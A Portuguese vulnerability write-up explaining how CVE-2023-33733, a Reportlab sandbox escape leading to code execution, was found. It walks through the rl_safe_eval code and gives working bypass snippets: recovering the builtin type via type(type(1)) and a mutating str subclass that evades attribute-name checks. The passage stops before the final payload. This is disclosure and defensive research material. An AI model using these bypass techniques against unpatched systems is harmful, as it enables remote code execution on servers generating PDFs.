
Documentação técnica detalhada e exploit de prova de conceito para CVE-2023-33733, uma vulnerabilidade de execução remota de código na biblioteca Reportlab do Python por meio de bypass de sandbox no processamento de HTML para PDF.
tl;dr Este artigo detalha como uma RCE no Reportlab foi encontrada e explorada. Devido à prevalência do Reportlab no processamento de HTML para PDF, essa vulnerabilidade pode ser alcançável em muitas aplicações que processam arquivos PDF, tornando esta uma importante correção a ser aplicada e observada.
Há alguns dias, durante uma auditoria de aplicação web, notamos que a aplicação estava usando a biblioteca Python Reportlab para realizar a geração dinâmica de arquivos PDF a partir de entrada HTML. O Reportlab foi encontrado com uma vulnerabilidade previamente corrigida que levava à execução de código. O que significa que encontrar uma forma de contornar a correção era bastante interessante do ponto de vista do atacante, pois levaria à redescoberta da execução de código, especialmente porque a biblioteca Reportlab também é usada em outras aplicações e ferramentas.
Primeiramente, um rápido resumo: Reportlab é um projeto de código aberto que permite a criação de documentos no formato PDF (Portable Document Format) da Adobe usando a linguagem de programação Python. Ele também cria gráficos e dados gráficos em vários formatos bitmap e vetoriais, além de PDF.
A biblioteca teve em 2019 um exploit semelhante que levava à execução remota de código através do atributo Color das tags HTML, onde o conteúdo do atributo era diretamente avaliado como uma expressão Python usando a função eval, resultando em execução de código. Para mitigar o problema, o Reportlab implementou uma sandbox chamada rl_safe_eval que é despojada de todas as funções builtin do Python e possui várias funções builtin substituídas para permitir a execução do código seguro da biblioteca, enquanto impede qualquer acesso a funções e bibliotecas perigosas que possam subsequentemente levar à construção de código Python perigoso:
Um exemplo dessas medidas de prevenção é que a função builtin getattr é substituída por uma função restrita __rl_getitem__ que proíbe o acesso a quaisquer atributos perigosos de objetos, como aqueles que começam com __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
O eval seguro, conforme descrito anteriormente, sanitiza o ambiente de todas as funções perigosas de modo que o código em execução não tenha acesso a ferramentas perigosas que possam ser usadas para executar ações maliciosas. No entanto, se for encontrada uma forma de contornar essas restrições e for obtido acesso a uma das funções builtin originais, isso facilitaria muito a exploração do ambiente em sandbox.
Uma das muitas classes builtin substituídas chama-se type. Se esta classe for chamada com um argumento, ela retorna o tipo de um objeto. No entanto, se for chamada com três argumentos, ela retorna um novo objeto tipo. Isso é essencialmente uma forma dinâmica da instrução class. Em outras palavras, pode permitir a criação de uma nova classe que herda de outra classe.
Então a ideia aqui é criar uma nova classe chamada Word que herda de str, de modo que, quando passada para o getattr personalizado, ela contorne as verificações e permita o acesso a atributos sensíveis como __code__.
Antes de o getattr personalizado no eval em sandbox retornar o atributo, ele realiza algumas verificações chamando __rl_is_allowed_name__ para verificar a segurança do atributo chamado antes de chamar o builtin getattr do Python e retornar o resultado.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Para contornar a função __rl_is_allowed_name__, a classe Word deve:
False para chamadas à função startswith para contornar (name.startswith('__')False em sua primeira chamada a __eq__ para contornar name in __rl_unsafe__, após a primeira chamada deve retornar a resposta correta, pois quando __eq__ é chamado pelo builtin getattr do Python, deve retornar o resultado correto.A seguinte classe atende a esses critérios:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
A função type personalizada no eval seguro não permite ser passada com três argumentos:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Uma forma de contornar isso foi encontrada chamando type sobre si mesmo, permitindo a recuperação da função builtin original type:
orgTypeFun = type(type(1))
combinando essas duas linhas de código, teríamos algo como:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
O exploit original sofria de várias limitações que o tornavam explorável apenas no Python 3.10. Para resolver esses problemas, uma nova abordagem foi feita para acessar o módulo os do Python.
A biblioteca Reportlab substitui a implementação de várias funções builtin e as injeta como globals no contexto do eval.